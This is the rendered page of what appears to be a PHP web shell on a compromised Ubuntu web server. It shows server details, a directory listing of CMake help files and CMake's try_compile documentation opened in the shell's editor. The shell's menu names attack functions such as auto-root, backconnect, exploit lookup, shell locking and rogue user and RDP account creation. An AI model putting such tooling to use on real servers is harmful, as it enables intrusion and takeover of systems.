Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
cmake-3.22 /
Help /
command /
[ HOME SHELL ]
Name
Size
Permission
Action
DEVICE_LINK_OPTIONS.txt
731
B
-rw-r--r--
FIND_XXX.txt
6.69
KB
-rw-r--r--
FIND_XXX_ORDER.txt
446
B
-rw-r--r--
FIND_XXX_ROOT.txt
1.41
KB
-rw-r--r--
LINK_OPTIONS_LINKER.txt
1.07
KB
-rw-r--r--
OPTIONS_SHELL.txt
772
B
-rw-r--r--
add_compile_definitions.rst
1.06
KB
-rw-r--r--
add_compile_options.rst
1.41
KB
-rw-r--r--
add_custom_command.rst
17.27
KB
-rw-r--r--
add_custom_target.rst
7.14
KB
-rw-r--r--
add_definitions.rst
1.36
KB
-rw-r--r--
add_dependencies.rst
1005
B
-rw-r--r--
add_executable.rst
4.26
KB
-rw-r--r--
add_library.rst
10.92
KB
-rw-r--r--
add_link_options.rst
1.15
KB
-rw-r--r--
add_subdirectory.rst
1.75
KB
-rw-r--r--
add_test.rst
2.83
KB
-rw-r--r--
aux_source_directory.rst
1.06
KB
-rw-r--r--
break.rst
208
B
-rw-r--r--
build_command.rst
1.8
KB
-rw-r--r--
build_name.rst
411
B
-rw-r--r--
cmake_host_system_information....
6.31
KB
-rw-r--r--
cmake_language.rst
6.4
KB
-rw-r--r--
cmake_minimum_required.rst
3.14
KB
-rw-r--r--
cmake_parse_arguments.rst
4.76
KB
-rw-r--r--
cmake_path.rst
24.52
KB
-rw-r--r--
cmake_policy.rst
4.52
KB
-rw-r--r--
configure_file.rst
5.15
KB
-rw-r--r--
continue.rst
346
B
-rw-r--r--
create_test_sourcelist.rst
1.52
KB
-rw-r--r--
ctest_build.rst
3.19
KB
-rw-r--r--
ctest_configure.rst
1.65
KB
-rw-r--r--
ctest_coverage.rst
1.6
KB
-rw-r--r--
ctest_empty_binary_directory.r...
304
B
-rw-r--r--
ctest_memcheck.rst
1.47
KB
-rw-r--r--
ctest_read_custom_files.rst
314
B
-rw-r--r--
ctest_run_script.rst
539
B
-rw-r--r--
ctest_sleep.rst
227
B
-rw-r--r--
ctest_start.rst
3.09
KB
-rw-r--r--
ctest_submit.rst
3.98
KB
-rw-r--r--
ctest_test.rst
9.86
KB
-rw-r--r--
ctest_update.rst
1.32
KB
-rw-r--r--
ctest_upload.rst
659
B
-rw-r--r--
define_property.rst
2.54
KB
-rw-r--r--
else.rst
129
B
-rw-r--r--
elseif.rst
194
B
-rw-r--r--
enable_language.rst
1.28
KB
-rw-r--r--
enable_testing.rst
474
B
-rw-r--r--
endforeach.rst
342
B
-rw-r--r--
endfunction.rst
337
B
-rw-r--r--
endif.rst
300
B
-rw-r--r--
endmacro.rst
319
B
-rw-r--r--
endwhile.rst
317
B
-rw-r--r--
exec_program.rst
939
B
-rw-r--r--
execute_process.rst
5.67
KB
-rw-r--r--
export.rst
4.13
KB
-rw-r--r--
export_library_dependencies.rs...
1.11
KB
-rw-r--r--
file.rst
44.62
KB
-rw-r--r--
find_file.rst
1.49
KB
-rw-r--r--
find_library.rst
3.8
KB
-rw-r--r--
find_package.rst
27.61
KB
-rw-r--r--
find_path.rst
1.78
KB
-rw-r--r--
find_program.rst
1.38
KB
-rw-r--r--
fltk_wrap_ui.rst
380
B
-rw-r--r--
foreach.rst
3.47
KB
-rw-r--r--
function.rst
2.22
KB
-rw-r--r--
get_cmake_property.rst
755
B
-rw-r--r--
get_directory_property.rst
1.24
KB
-rw-r--r--
get_filename_component.rst
2.27
KB
-rw-r--r--
get_property.rst
3.39
KB
-rw-r--r--
get_source_file_property.rst
1.88
KB
-rw-r--r--
get_target_property.rst
1.08
KB
-rw-r--r--
get_test_property.rst
785
B
-rw-r--r--
if.rst
12.86
KB
-rw-r--r--
include.rst
1.06
KB
-rw-r--r--
include_directories.rst
1.7
KB
-rw-r--r--
include_external_msproject.rst
1.09
KB
-rw-r--r--
include_guard.rst
1.81
KB
-rw-r--r--
include_regular_expression.rst
571
B
-rw-r--r--
install.rst
40.12
KB
-rw-r--r--
install_files.rst
1.34
KB
-rw-r--r--
install_programs.rst
1.22
KB
-rw-r--r--
install_targets.rst
645
B
-rw-r--r--
link_directories.rst
2.44
KB
-rw-r--r--
link_libraries.rst
669
B
-rw-r--r--
list.rst
9.54
KB
-rw-r--r--
load_cache.rst
1001
B
-rw-r--r--
load_command.rst
648
B
-rw-r--r--
macro.rst
4.69
KB
-rw-r--r--
make_directory.rst
287
B
-rw-r--r--
mark_as_advanced.rst
867
B
-rw-r--r--
math.rst
1.19
KB
-rw-r--r--
message.rst
6.47
KB
-rw-r--r--
option.rst
505
B
-rw-r--r--
output_required_files.rst
661
B
-rw-r--r--
project.rst
5.6
KB
-rw-r--r--
qt_wrap_cpp.rst
829
B
-rw-r--r--
qt_wrap_ui.rst
981
B
-rw-r--r--
remove.rst
287
B
-rw-r--r--
remove_definitions.rst
293
B
-rw-r--r--
return.rst
808
B
-rw-r--r--
separate_arguments.rst
2.53
KB
-rw-r--r--
set.rst
4.02
KB
-rw-r--r--
set_directory_properties.rst
494
B
-rw-r--r--
set_property.rst
4.13
KB
-rw-r--r--
set_source_files_properties.rs...
1.6
KB
-rw-r--r--
set_target_properties.rst
684
B
-rw-r--r--
set_tests_properties.rst
529
B
-rw-r--r--
site_name.rst
304
B
-rw-r--r--
source_group.rst
2.18
KB
-rw-r--r--
string.rst
18.12
KB
-rw-r--r--
subdir_depends.rst
287
B
-rw-r--r--
subdirs.rst
1.03
KB
-rw-r--r--
target_compile_definitions.rst
1.97
KB
-rw-r--r--
target_compile_features.rst
1.57
KB
-rw-r--r--
target_compile_options.rst
1.97
KB
-rw-r--r--
target_include_directories.rst
2.82
KB
-rw-r--r--
target_link_directories.rst
2.6
KB
-rw-r--r--
target_link_libraries.rst
16.31
KB
-rw-r--r--
target_link_options.rst
1.99
KB
-rw-r--r--
target_precompile_headers.rst
5.31
KB
-rw-r--r--
target_sources.rst
1.8
KB
-rw-r--r--
try_compile.rst
8.23
KB
-rw-r--r--
try_run.rst
4.55
KB
-rw-r--r--
unset.rst
1.5
KB
-rw-r--r--
use_mangled_mesa.rst
456
B
-rw-r--r--
utility_source.rst
958
B
-rw-r--r--
variable_requires.rst
765
B
-rw-r--r--
variable_watch.rst
1.76
KB
-rw-r--r--
while.rst
787
B
-rw-r--r--
write_file.rst
686
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : try_compile.rst
try_compile ----------- .. only:: html .. contents:: Try building some code. Try Compiling Whole Projects ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: cmake try_compile(<resultVar> <bindir> <srcdir> <projectName> [<targetName>] [CMAKE_FLAGS <flags>...] [OUTPUT_VARIABLE <var>]) Try building a project. The success or failure of the ``try_compile``, i.e. ``TRUE`` or ``FALSE`` respectively, is returned in ``<resultVar>``. .. versionadded:: 3.14 The name of the ``<resultVar>`` is defined by the user. Previously, it had a fixed name ``RESULT_VAR``. In this form, ``<srcdir>`` should contain a complete CMake project with a ``CMakeLists.txt`` file and all sources. The ``<bindir>`` and ``<srcdir>`` will not be deleted after this command is run. Specify ``<targetName>`` to build a specific target instead of the ``all`` or ``ALL_BUILD`` target. See below for the meaning of other options. Try Compiling Source Files ^^^^^^^^^^^^^^^^^^^^^^^^^^ .. code-block:: cmake try_compile(<resultVar> <bindir> <srcfile|SOURCES srcfile...> [CMAKE_FLAGS <flags>...] [COMPILE_DEFINITIONS <defs>...] [LINK_OPTIONS <options>...] [LINK_LIBRARIES <libs>...] [OUTPUT_VARIABLE <var>] [COPY_FILE <fileName> [COPY_FILE_ERROR <var>]] [<LANG>_STANDARD <std>] [<LANG>_STANDARD_REQUIRED <bool>] [<LANG>_EXTENSIONS <bool>] ) Try building an executable or static library from one or more source files (which one is determined by the :variable:`CMAKE_TRY_COMPILE_TARGET_TYPE` variable). The success or failure of the ``try_compile``, i.e. ``TRUE`` or ``FALSE`` respectively, is returned in ``<resultVar>``. .. versionadded:: 3.14 The name of the ``<resultVar>`` is defined by the user. Previously, it had a fixed name ``RESULT_VAR``. In this form, one or more source files must be provided. If :variable:`CMAKE_TRY_COMPILE_TARGET_TYPE` is unset or is set to ``EXECUTABLE``, the sources must include a definition for ``main`` and CMake will create a ``CMakeLists.txt`` file to build the source(s) as an executable. If :variable:`CMAKE_TRY_COMPILE_TARGET_TYPE` is set to ``STATIC_LIBRARY``, a static library will be built instead and no definition for ``main`` is required. For an executable, the generated ``CMakeLists.txt`` file would contain something like the following: .. code-block:: cmake add_definitions(<expanded COMPILE_DEFINITIONS from caller>) include_directories(${INCLUDE_DIRECTORIES}) link_directories(${LINK_DIRECTORIES}) add_executable(cmTryCompileExec <srcfile>...) target_link_options(cmTryCompileExec PRIVATE <LINK_OPTIONS from caller>) target_link_libraries(cmTryCompileExec ${LINK_LIBRARIES}) The options are: ``CMAKE_FLAGS <flags>...`` Specify flags of the form ``-DVAR:TYPE=VALUE`` to be passed to the ``cmake`` command-line used to drive the test build. The above example shows how values for variables ``INCLUDE_DIRECTORIES``, ``LINK_DIRECTORIES``, and ``LINK_LIBRARIES`` are used. ``COMPILE_DEFINITIONS <defs>...`` Specify ``-Ddefinition`` arguments to pass to :command:`add_definitions` in the generated test project. ``COPY_FILE <fileName>`` Copy the built executable or static library to the given ``<fileName>``. ``COPY_FILE_ERROR <var>`` Use after ``COPY_FILE`` to capture into variable ``<var>`` any error message encountered while trying to copy the file. ``LINK_LIBRARIES <libs>...`` Specify libraries to be linked in the generated project. The list of libraries may refer to system libraries and to :ref:`Imported Targets <Imported Targets>` from the calling project. If this option is specified, any ``-DLINK_LIBRARIES=...`` value given to the ``CMAKE_FLAGS`` option will be ignored. ``LINK_OPTIONS <options>...`` .. versionadded:: 3.14 Specify link step options to pass to :command:`target_link_options` or to set the :prop_tgt:`STATIC_LIBRARY_OPTIONS` target property in the generated project, depending on the :variable:`CMAKE_TRY_COMPILE_TARGET_TYPE` variable. ``OUTPUT_VARIABLE <var>`` Store the output from the build process in the given variable. ``<LANG>_STANDARD <std>`` .. versionadded:: 3.8 Specify the :prop_tgt:`C_STANDARD`, :prop_tgt:`CXX_STANDARD`, :prop_tgt:`OBJC_STANDARD`, :prop_tgt:`OBJCXX_STANDARD`, or :prop_tgt:`CUDA_STANDARD` target property of the generated project. ``<LANG>_STANDARD_REQUIRED <bool>`` .. versionadded:: 3.8 Specify the :prop_tgt:`C_STANDARD_REQUIRED`, :prop_tgt:`CXX_STANDARD_REQUIRED`, :prop_tgt:`OBJC_STANDARD_REQUIRED`, :prop_tgt:`OBJCXX_STANDARD_REQUIRED`,or :prop_tgt:`CUDA_STANDARD_REQUIRED` target property of the generated project. ``<LANG>_EXTENSIONS <bool>`` .. versionadded:: 3.8 Specify the :prop_tgt:`C_EXTENSIONS`, :prop_tgt:`CXX_EXTENSIONS`, :prop_tgt:`OBJC_EXTENSIONS`, :prop_tgt:`OBJCXX_EXTENSIONS`, or :prop_tgt:`CUDA_EXTENSIONS` target property of the generated project. In this version all files in ``<bindir>/CMakeFiles/CMakeTmp`` will be cleaned automatically. For debugging, ``--debug-trycompile`` can be passed to ``cmake`` to avoid this clean. However, multiple sequential ``try_compile`` operations reuse this single output directory. If you use ``--debug-trycompile``, you can only debug one ``try_compile`` call at a time. The recommended procedure is to protect all ``try_compile`` calls in your project by ``if(NOT DEFINED <resultVar>)`` logic, configure with cmake all the way through once, then delete the cache entry associated with the try_compile call of interest, and then re-run cmake again with ``--debug-trycompile``. Other Behavior Settings ^^^^^^^^^^^^^^^^^^^^^^^ .. versionadded:: 3.4 If set, the following variables are passed in to the generated try_compile CMakeLists.txt to initialize compile target properties with default values: * :variable:`CMAKE_CUDA_RUNTIME_LIBRARY` * :variable:`CMAKE_ENABLE_EXPORTS` * :variable:`CMAKE_LINK_SEARCH_START_STATIC` * :variable:`CMAKE_LINK_SEARCH_END_STATIC` * :variable:`CMAKE_MSVC_RUNTIME_LIBRARY` * :variable:`CMAKE_POSITION_INDEPENDENT_CODE` If :policy:`CMP0056` is set to ``NEW``, then :variable:`CMAKE_EXE_LINKER_FLAGS` is passed in as well. .. versionchanged:: 3.14 If :policy:`CMP0083` is set to ``NEW``, then in order to obtain correct behavior at link time, the ``check_pie_supported()`` command from the :module:`CheckPIESupported` module must be called before using the :command:`try_compile` command. The current settings of :policy:`CMP0065` and :policy:`CMP0083` are propagated through to the generated test project. Set the :variable:`CMAKE_TRY_COMPILE_CONFIGURATION` variable to choose a build configuration. .. versionadded:: 3.6 Set the :variable:`CMAKE_TRY_COMPILE_TARGET_TYPE` variable to specify the type of target used for the source file signature. .. versionadded:: 3.6 Set the :variable:`CMAKE_TRY_COMPILE_PLATFORM_VARIABLES` variable to specify variables that must be propagated into the test project. This variable is meant for use only in toolchain files and is only honored by the ``try_compile()`` command for the source files form, not when given a whole project. .. versionchanged:: 3.8 If :policy:`CMP0067` is set to ``NEW``, or any of the ``<LANG>_STANDARD``, ``<LANG>_STANDARD_REQUIRED``, or ``<LANG>_EXTENSIONS`` options are used, then the language standard variables are honored: * :variable:`CMAKE_C_STANDARD` * :variable:`CMAKE_C_STANDARD_REQUIRED` * :variable:`CMAKE_C_EXTENSIONS` * :variable:`CMAKE_CXX_STANDARD` * :variable:`CMAKE_CXX_STANDARD_REQUIRED` * :variable:`CMAKE_CXX_EXTENSIONS` * :variable:`CMAKE_OBJC_STANDARD` * :variable:`CMAKE_OBJC_STANDARD_REQUIRED` * :variable:`CMAKE_OBJC_EXTENSIONS` * :variable:`CMAKE_OBJCXX_STANDARD` * :variable:`CMAKE_OBJCXX_STANDARD_REQUIRED` * :variable:`CMAKE_OBJCXX_EXTENSIONS` * :variable:`CMAKE_CUDA_STANDARD` * :variable:`CMAKE_CUDA_STANDARD_REQUIRED` * :variable:`CMAKE_CUDA_EXTENSIONS` Their values are used to set the corresponding target properties in the generated project (unless overridden by an explicit option). .. versionchanged:: 3.14 For the :generator:`Green Hills MULTI` generator the GHS toolset and target system customization cache variables are also propagated into the test project.
Close